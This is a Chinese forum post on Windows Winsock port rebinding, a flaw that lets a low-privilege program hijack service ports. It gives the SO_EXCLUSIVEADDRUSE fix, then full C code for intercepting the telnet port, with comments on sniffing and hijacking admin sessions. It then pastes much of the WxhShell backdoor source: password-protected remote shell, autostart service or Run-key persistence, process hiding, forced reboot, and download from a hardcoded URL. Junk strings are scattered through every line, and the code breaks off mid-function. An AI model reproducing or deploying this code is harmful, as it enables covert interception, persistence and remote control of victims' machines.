社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16580阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `XK#sCC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YE[{Y(5;q  
M6:$ 0(r  
  saddr.sin_family = AF_INET; ku^0bq}BrH  
Q'c[yu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z1sRLkR^  
<~P([5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t&nK5p95(  
=fcRH:B:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +{[E Ow  
7da~+(yhr  
  这意味着什么?意味着可以进行如下的攻击: WlRaD%Q  
g]m}@b6(h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *ez7Q   
%40+si3c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tN-B`d 1  
eGi|S'L'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A1/[3Bz  
}080=E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]X<L~s_*  
>IEc4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i$dF0.}Q  
TM0DR'.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qvm[2mb  
cPg$*,]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mmBZ}V+&=  
%lqrq<Xn  
  #include 7 ^n{BsN  
  #include "Tc[1{eI  
  #include L; 'C5#GN  
  #include    "-A@d&5.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HRW }Yl  
  int main() Rv@( [rn+  
  { EV|L~^Q  
  WORD wVersionRequested; _{48s8V  
  DWORD ret; [*v- i%U}  
  WSADATA wsaData; S<nbNSu6+  
  BOOL val; g33Y]\  
  SOCKADDR_IN saddr; }W$}blbp  
  SOCKADDR_IN scaddr; 0]MI*s>&  
  int err; p5 )+R/  
  SOCKET s; T(iL#2^  
  SOCKET sc; UVaz,bXla  
  int caddsize; m_,j)A%  
  HANDLE mt; .8/W_iC92  
  DWORD tid;   LAPC L&Z  
  wVersionRequested = MAKEWORD( 2, 2 ); .p /VRlLU  
  err = WSAStartup( wVersionRequested, &wsaData ); 73tWeZ8rvx  
  if ( err != 0 ) { QliP9-im3  
  printf("error!WSAStartup failed!\n"); YV"LM6`  
  return -1; Uiu9o]n  
  } ["XS|"DM  
  saddr.sin_family = AF_INET; iYl$25k/1  
    9Li.B1j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MRL,#+VxA  
~.f[K{h8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [Se0+\,&  
  saddr.sin_port = htons(23); 6Rc%P)6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2mVLR;s{_  
  { BRGTCR  
  printf("error!socket failed!\n"); 3:G94cp5  
  return -1; 3-$w5O3}  
  } a@U0s+V&a0  
  val = TRUE; XIJ{qrDr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SWM6+i p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <|_b:  
  { f+D a W  
  printf("error!setsockopt failed!\n"); /e4#D H  
  return -1; vV+>JM6<K  
  } ]z_C7Y"4BR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +)7Yqh#$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V;SXa|,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <u85>x  
_I}rQfPJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b1`(f"&l  
  { 2gbMUdpp  
  ret=GetLastError(); uSi/|  
  printf("error!bind failed!\n"); 13:0%IO  
  return -1; %l8nTcL_?  
  } 1WMwTBHy+  
  listen(s,2); p$A`qx<M_  
  while(1) + s snCr  
  { .+TriPL  
  caddsize = sizeof(scaddr); niIjatT  
  //接受连接请求 !rMl" Y[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ood'kAH1B  
  if(sc!=INVALID_SOCKET) !^*I?9P  
  { _Ak?i\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [F< Tl =  
  if(mt==NULL) wf8GH}2A  
  { 2o5v{W  
  printf("Thread Creat Failed!\n"); ^v].mV/  
  break; d.3O1TXK  
  } +T@a/(Gl  
  } (SlrV8;  
  CloseHandle(mt); bUp ,vc*  
  } (gl/NH!  
  closesocket(s); p 8q9:Tz  
  WSACleanup(); (]mh}=:KDg  
  return 0; fYzOT, c  
  }   c=T^)~$$  
  DWORD WINAPI ClientThread(LPVOID lpParam) )A4WK+yD$z  
  { $I7/FZP  
  SOCKET ss = (SOCKET)lpParam; * QF3l0&  
  SOCKET sc; *L9s7RR  
  unsigned char buf[4096]; icf[.  
  SOCKADDR_IN saddr; &$qqF&  
  long num; O]~cv^  
  DWORD val; siZw-.  
  DWORD ret; +S5"4<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4H]Go~<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1xar L))  
  saddr.sin_family = AF_INET; #Fl "#g$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ib0M$Y1tIS  
  saddr.sin_port = htons(23); >pbO\=j]X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "b8<C>wY  
  { * h!gjbi  
  printf("error!socket failed!\n"); /=*h\8c~  
  return -1; p2GkI/6)uu  
  } kKr7c4q  
  val = 100; #pErGz'{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /9,!)/j  
  { b<P9@h~:  
  ret = GetLastError(); C,P>7  
  return -1; 3J32W@}.K  
  } D kl4 ^}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HJo&snT3  
  { 7;jwKA;k  
  ret = GetLastError(); GF*8(2h2  
  return -1; KaNi'=nW  
  } g'ha7~w(p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P%A;EF~ v  
  { p#wQW[6  
  printf("error!socket connect failed!\n"); !1$Q Nxgi  
  closesocket(sc); _HW~sz|  
  closesocket(ss); c Owa^;  
  return -1; RZ-=UIf  
  } )y4bb^;z  
  while(1) dl mF?N|EC  
  { y3 {'s>O6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0}C> e`<'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 As }:~Jy|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1G$fU zS  
  num = recv(ss,buf,4096,0); Q1yMI8  
  if(num>0) d]{wZ#x  
  send(sc,buf,num,0); @E;'Ffo  
  else if(num==0) )c!7V)z  
  break; :>4pH  
  num = recv(sc,buf,4096,0); 1BK!<}yI{  
  if(num>0) N^</:R  
  send(ss,buf,num,0); < %@e<,8  
  else if(num==0) Z>hS&B  
  break; Sk7l&B  
  } KmS$CFsGL  
  closesocket(ss); omz%:'m`~  
  closesocket(sc); 5:y\ejU  
  return 0 ; 7QV@lR<C2R  
  } aT|SKb`  
NZT2ni4  
+g %h,@  
========================================================== 4SRjF$Bsz  
^u2unZ9BK!  
下边附上一个代码,,WXhSHELL K/WnK:LU  
(bhMo^3/*  
========================================================== VWhq +8z  
<"/b 5kc  
#include "stdafx.h" j IO2uTM~  
(h {"/sR  
#include <stdio.h> 3oD?e  
#include <string.h> % !P^se  
#include <windows.h> RJ}%pA4I  
#include <winsock2.h> <&w(%<;  
#include <winsvc.h> ;OC~,?O5  
#include <urlmon.h> Q9T/@FX  
$-^ ;Jl  
#pragma comment (lib, "Ws2_32.lib") 1fgO3N  
#pragma comment (lib, "urlmon.lib") up_Qv#`Q  
j(aok5:e  
#define MAX_USER   100 // 最大客户端连接数 lZ,w#sqbY  
#define BUF_SOCK   200 // sock buffer Z$*m=]2  
#define KEY_BUFF   255 // 输入 buffer q,;8Ka )  
hW<TP'Zm*  
#define REBOOT     0   // 重启 uuaoBf  
#define SHUTDOWN   1   // 关机 (#e,tu  
o|7ztpr  
#define DEF_PORT   5000 // 监听端口 gh9Gc1tKt  
m!Y4+KTwD`  
#define REG_LEN     16   // 注册表键长度 H8!; XB  
#define SVC_LEN     80   // NT服务名长度 My6a.Kl  
9 AWFjoXl"  
// 从dll定义API iQd,xr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D( \c?X"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3g79/ w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 62.)fCQ^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8*x/NaH /\  
U{C& R&z  
// wxhshell配置信息 k,,Bf-?  
struct WSCFG { V$Zl]f$S  
  int ws_port;         // 监听端口 `; +UWdAR  
  char ws_passstr[REG_LEN]; // 口令 U{,:-R  
  int ws_autoins;       // 安装标记, 1=yes 0=no d DrzO*a\  
  char ws_regname[REG_LEN]; // 注册表键名 #fVk;]u`[3  
  char ws_svcname[REG_LEN]; // 服务名 o? LJ,Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <D`VFSEJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T`$!/BlZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uqHI/4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /1BqC3]tL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" % `\}#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vqhu%ZyP  
mufXM(  
}; GT 5J`  
[QDM_n  
// default Wxhshell configuration 6s.>5}M!  
struct WSCFG wscfg={DEF_PORT, Ghf/IXq#  
    "xuhuanlingzhe",  9dCf@5]  
    1, wiP )"g.t  
    "Wxhshell", jn]:*i;i  
    "Wxhshell", Y52TC@'  
            "WxhShell Service", frRO?  
    "Wrsky Windows CmdShell Service", =#T3p9  
    "Please Input Your Password: ", 1|WrJ-Uf  
  1, 2TccIv  
  "http://www.wrsky.com/wxhshell.exe", kInU,/R*  
  "Wxhshell.exe" exxH0^  
    }; &BxZ}JH=k  
9GgXX9K  
// 消息定义模块 cqG&n0zb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; * "d['V3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [:MFx6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ex+E66bE  
char *msg_ws_ext="\n\rExit."; 2l}H=DZV  
char *msg_ws_end="\n\rQuit."; r7+Ytr  
char *msg_ws_boot="\n\rReboot..."; _/z3QG{Ea^  
char *msg_ws_poff="\n\rShutdown..."; O`f[9^fN  
char *msg_ws_down="\n\rSave to "; 3H`r|R  
|t6:4']  
char *msg_ws_err="\n\rErr!"; FT6~\9m(  
char *msg_ws_ok="\n\rOK!"; F;8Uvj  
'M35L30  
char ExeFile[MAX_PATH]; y_M,p?]^,  
int nUser = 0; iE#I^`^V  
HANDLE handles[MAX_USER]; bScW<DZJ-  
int OsIsNt; 1StaQUB  
KkZS6rD\  
SERVICE_STATUS       serviceStatus; -Mzm~@_s]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y4%[^g~-  
i4\DSQJ  
// 函数声明 J\E?rT  
int Install(void); k;f%OQsF_  
int Uninstall(void); cuQAXqXC@  
int DownloadFile(char *sURL, SOCKET wsh); ebiOR1)sN  
int Boot(int flag); "b[w%KYyl  
void HideProc(void); RA*W Ys&xb  
int GetOsVer(void); ~\UAxB=  
int Wxhshell(SOCKET wsl); 15_Px9  
void TalkWithClient(void *cs); j/, I)Za  
int CmdShell(SOCKET sock); j>)yV@g/  
int StartFromService(void); fzr0dcNgM  
int StartWxhshell(LPSTR lpCmdLine); !"SuE)WM  
Su]p6B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &+")~2 +  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T7Qw1k  
~m&q@ms&  
// 数据结构和表定义 -DWnDku8=  
SERVICE_TABLE_ENTRY DispatchTable[] = A Eo  
{ 4||dc}I"E  
{wscfg.ws_svcname, NTServiceMain}, =2/[n8pSsM  
{NULL, NULL} HME`7dw?  
}; w">-r}HnJ  
0[R7HX-@  
// 自我安装 }TG=ZVi  
int Install(void) S3sxK:  
{ :|N(:W>=$Y  
  char svExeFile[MAX_PATH]; _$m1?DZ  
  HKEY key; dPmNX-'7  
  strcpy(svExeFile,ExeFile); [ Mp8"  
NU%<Ws=  
// 如果是win9x系统,修改注册表设为自启动 9Bi{X_.9  
if(!OsIsNt) { A;7At!kK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HB9|AQ4K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sJ7ZE-v]h  
  RegCloseKey(key); F1NYpCR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t&H3yV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KVp3 pUO  
  RegCloseKey(key); Mcqym8,q|3  
  return 0; W*9*^  
    } %<@x(q  
  } ,o s M|!,  
} -P-&]F5  
else { N.?)s.D(  
15CKcM6  
// 如果是NT以上系统,安装为系统服务 o$k9$H>Na  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4(TR'_X(  
if (schSCManager!=0) vu`,:/|h  
{ O9R[F  
  SC_HANDLE schService = CreateService ^'Qe.DW[  
  ( Gk]6WLi  
  schSCManager, UBM :.*wN  
  wscfg.ws_svcname, 3pjK`"Nmz\  
  wscfg.ws_svcdisp, R 3@luT]  
  SERVICE_ALL_ACCESS, fm$)?E_Rp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x#}{z1op9  
  SERVICE_AUTO_START, B-W8Zq#4>  
  SERVICE_ERROR_NORMAL, LuvRxmQ`  
  svExeFile, Rv)>x w  
  NULL, KLCd`vr.xf  
  NULL, ^(~%'f  
  NULL, Q8^g WBc  
  NULL, DgODTxiX  
  NULL `,$PRN"]  
  ); =jkiM_<h  
  if (schService!=0) F-PQ`@ZNW  
  { i^hEL2S/A  
  CloseServiceHandle(schService); Uq^-km#a  
  CloseServiceHandle(schSCManager); cA{7*=G?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l9#@4Os  
  strcat(svExeFile,wscfg.ws_svcname); T[ltOQw?Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =_Ip0FfK!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bz|-x"qk  
  RegCloseKey(key); oyq9XW~ D  
  return 0; .dKFQH iYJ  
    } 0{qe1pb w  
  } lky5%H  
  CloseServiceHandle(schSCManager); m#`1.5%  
} !U4<4<+  
} {3eg4j.Z  
E~`l/ W  
return 1; FgnPh%[u  
} _m*FHi  
maOt/-  
// 自我卸载 E-Y4TBZ*  
int Uninstall(void) 9y?)Ga  
{ Qm>2,={h  
  HKEY key; tA{h x -  
^=[b]*V  
if(!OsIsNt) { DC(u,iW%6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,vB~9^~  
  RegDeleteValue(key,wscfg.ws_regname); xl ,(=L]  
  RegCloseKey(key); Y(B3M=j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U# U*^#  
  RegDeleteValue(key,wscfg.ws_regname); Hv-f :P O  
  RegCloseKey(key); wyB  
  return 0; [Zne19/  
  } jJyS^*.X  
} (O"-6`w[  
} A5go)~x\  
else { 0SV4p.  
{ep.So6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Kp>fOe'KW  
if (schSCManager!=0) JKA%$l0  
{ QC6:ZxP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ogu";p(  
  if (schService!=0) p|Qn?^C:  
  { A,4Z{f83  
  if(DeleteService(schService)!=0) { ..Bf-)w  
  CloseServiceHandle(schService); zKfY0A R  
  CloseServiceHandle(schSCManager); #=,c8" O  
  return 0; nQ#NW8*Fs  
  } Ou{VDE  
  CloseServiceHandle(schService); B7( bNr  
  } h^'+y1  
  CloseServiceHandle(schSCManager); 7V-uQ)*  
} 5M\bH'1  
} sp6A* mwl  
/YHnt-}v,  
return 1; uZa)N-=b2  
} `JcWH_[  
LoW}!,|  
// 从指定url下载文件 B/I1<%Yk  
int DownloadFile(char *sURL, SOCKET wsh) RG:_:%@%}  
{ WHcw5_3#  
  HRESULT hr; lX64IvG8+o  
char seps[]= "/"; !+ (H(,gI  
char *token; H` h]y  
char *file; jD ?*sd  
char myURL[MAX_PATH]; ~cSE 9ul  
char myFILE[MAX_PATH]; 7A^L$TY  
:@~mN7O*  
strcpy(myURL,sURL); 9JJk\,  
  token=strtok(myURL,seps); Bi7&yS5V  
  while(token!=NULL) VjJ}q*/3e  
  { V W(+sSQ  
    file=token; l:*.0Tj  
  token=strtok(NULL,seps); 7n7UL0Oc1  
  } -nY_.fp>  
|y4j:`@.  
GetCurrentDirectory(MAX_PATH,myFILE); vG~JK[  
strcat(myFILE, "\\"); !-4VGt&c,  
strcat(myFILE, file); \S>GtlQbn  
  send(wsh,myFILE,strlen(myFILE),0); p. KT=dZT  
send(wsh,"...",3,0); *2 ~"%"C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B1TWOl?d{  
  if(hr==S_OK) VBz G`&NG  
return 0; 8|tnhA]~  
else w[#*f?at~  
return 1; c]NZG n*  
lQpl8>  
} ;Qidf}:  
0qL.Rnt  
// 系统电源模块 #!t6'*  
int Boot(int flag) F!P,%Jm I<  
{ T>w;M?`9K  
  HANDLE hToken; .@psW0T%  
  TOKEN_PRIVILEGES tkp; Gm=e;X;r  
.:=5|0m  
  if(OsIsNt) { Wm/0Pi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p5J!j I=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sLf~o" yb  
    tkp.PrivilegeCount = 1; y<PQ$D)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [= Xb*~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s?PB ]Tr  
if(flag==REBOOT) { 8d(l)[GZt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j |LOg  
  return 0; gUme({h&|  
} szp.\CMz  
else { t?Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1i;Cw/mr  
  return 0; Nt687  
} b1yS1i D  
  } y 7z)lBy\  
  else { $Km~x  
if(flag==REBOOT) { [^gb6W9Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,fvhP $n  
  return 0; M|7][! <G!  
} 1^2]~R9,9  
else { `t+;[G>ZE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VP*B<u  
  return 0; =.qPjp_Qd  
} !\\OMAf7  
} Tn?D~?a*O  
=KHX_ib  
return 1; #wJ^:r-c`  
} @{ L|&Mk!  
y0'WB`hNQ  
// win9x进程隐藏模块 g\H~Y@'{  
void HideProc(void) P>Ru  
{ t-Ble  
79B+8= K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V!s#xXD}  
  if ( hKernel != NULL ) -i]2 b  
  { }S{VR(i`J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _p<wATv?7t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rd,!-w5  
    FreeLibrary(hKernel); h<7@3Ur  
  } xu >grj  
I p|[  
return; DIgur}q)@  
} Th4}$)yrkN  
gFXz:!A  
// 获取操作系统版本 J\Tu=f)  
int GetOsVer(void) pxCQ=0k  
{ hJ?PV@xy  
  OSVERSIONINFO winfo; ~SI G0U8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M2nUY`%#v  
  GetVersionEx(&winfo); 0Kg?X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M]xfH*  
  return 1; =+H,}  
  else PB~ r7O]  
  return 0; hb1eEn  
} HT6$|j  
eKRE1DK  
// 客户端句柄模块 m14'u GC  
int Wxhshell(SOCKET wsl) B[d%?L_  
{ KfQ?b_H.  
  SOCKET wsh; H`jnChD:M'  
  struct sockaddr_in client; &d]@$4u$;  
  DWORD myID; HrUE?Sq  
$y%IM`/w  
  while(nUser<MAX_USER) Ao\Im(?  
{ 3Te&w9K  
  int nSize=sizeof(client); Kd*=-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VFKFO9  
  if(wsh==INVALID_SOCKET) return 1; Ql"~ z^L  
TY?O$d2b3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  3CPSyF  
if(handles[nUser]==0) 0 qW"b`9R  
  closesocket(wsh); eV"Uv3  
else H#G3CD2&  
  nUser++; o ^ 08<  
  } MjK<n[.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V`G^Jyj  
3E}j*lo  
  return 0; x:c'ek  
} 7Dw. 9EQ  
|W}D_2  
// 关闭 socket  j}w  
void CloseIt(SOCKET wsh) mZ.gS1Dq  
{  )|W6Z  
closesocket(wsh); (px3o'lsh  
nUser--; f`8?]@y{  
ExitThread(0); "BIhd*K[~  
} `/<f([w  
(0Jr<16si$  
// 客户端请求句柄 @~FJlG(n  
void TalkWithClient(void *cs) ""IPaNHQ  
{ 3N4kW[J2i  
9%riB/vkrF  
  SOCKET wsh=(SOCKET)cs; =L`PP>"rW  
  char pwd[SVC_LEN]; l~[ K.p&  
  char cmd[KEY_BUFF]; 'C@yJf  
char chr[1]; +-rSO"nc  
int i,j; zoBp02j  
8C*xrg#g:  
  while (nUser < MAX_USER) { (%G>TV  
w:](F^<s,  
if(wscfg.ws_passstr) { j"+6aD/lv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #%{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -V P_Aw$  
  //ZeroMemory(pwd,KEY_BUFF); O%<+&Q7  
      i=0; q(BRJ(  
  while(i<SVC_LEN) { *z]P|_:&G  
3h6,x0AG  
  // 设置超时 &a6-+r  
  fd_set FdRead; hMgk+4*  
  struct timeval TimeOut; y^D3}ds  
  FD_ZERO(&FdRead); iZ0(a   
  FD_SET(wsh,&FdRead); JB!*{{  
  TimeOut.tv_sec=8; IvI;Q0E-3  
  TimeOut.tv_usec=0; {;o54zuKf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }a%Wu 7D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); waG &3m  
Psm9hP :m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I/gfsyfA  
  pwd=chr[0]; $?9u;+jIR  
  if(chr[0]==0xd || chr[0]==0xa) { Ifq|MZ\  
  pwd=0; slLTZ]  
  break; swMR+F#u*  
  } @JOsG-VW~  
  i++; iphdJZ/f  
    } \2Kl]G(w%y  
TLg 9`UA  
  // 如果是非法用户,关闭 socket McN'J. Sxp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;cb='s  
} v4\ m9Pu4  
}( WUZ^L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N8!e(Y K_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7j"B-k#  
dhuIVBp!!e  
while(1) { }@53*h i(  
y;hco  
  ZeroMemory(cmd,KEY_BUFF); 7K!n'dAi6  
D~TK'&  
      // 自动支持客户端 telnet标准   (e<p^T J]  
  j=0; @VsK7Eo  
  while(j<KEY_BUFF) { 54 f?YR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^!O2Fw  
  cmd[j]=chr[0]; -Q1~lN m:  
  if(chr[0]==0xa || chr[0]==0xd) { Kn\$\?u  
  cmd[j]=0; `?T8NK  
  break; 5zt5]zl'  
  } ;bq EfV0`2  
  j++; ~$bQ;`,L  
    } ;;LiZlf  
?_/T$b ]  
  // 下载文件 ?[lKft  
  if(strstr(cmd,"http://")) { > 'JWW*Y!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HGW;]8xl  
  if(DownloadFile(cmd,wsh)) EtcXzq>w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `=8G?3  
  else L/O:V^1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5NrDDH  
  } lpefOnO[  
  else { |>nVp:t^  
3<6P^p=I  
    switch(cmd[0]) { M]e _@:!  
  m RtE~~p  
  // 帮助 ~|e H8@o  
  case '?': { Pu!%sGjD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1;+(HB  
    break; .PJ_1  
  } N)$yBzN  
  // 安装 >@^j9{\  
  case 'i': { =v=H{*dWA  
    if(Install()) 71Mk!E=1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6j~'>w(F  
    else $ZE"o`=7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I4 4bm?[S  
    break; p"J\+R  
    } 4_?*@L1  
  // 卸载 SyR[G*djl  
  case 'r': { `LVX|l62  
    if(Uninstall()) iI%"]- 0@1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lD)QB!*v  
    else qL68/7:A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,u<aKae  
    break; {-\VX2:;[9  
    } _{'HY+M  
  // 显示 wxhshell 所在路径 }U7 ><I  
  case 'p': { ?gOZY\[ma  
    char svExeFile[MAX_PATH]; dg42K`E  
    strcpy(svExeFile,"\n\r"); $+ ?A[{JG  
      strcat(svExeFile,ExeFile); 'B4j=K*  
        send(wsh,svExeFile,strlen(svExeFile),0); m/W)IG>  
    break; vc(6lN9>  
    } KcX] g*wy  
  // 重启 ws$!-t4<(  
  case 'b': { nr<&j#!L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (""1[XURQK  
    if(Boot(REBOOT)) `7zNVYur8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v-@xO&<  
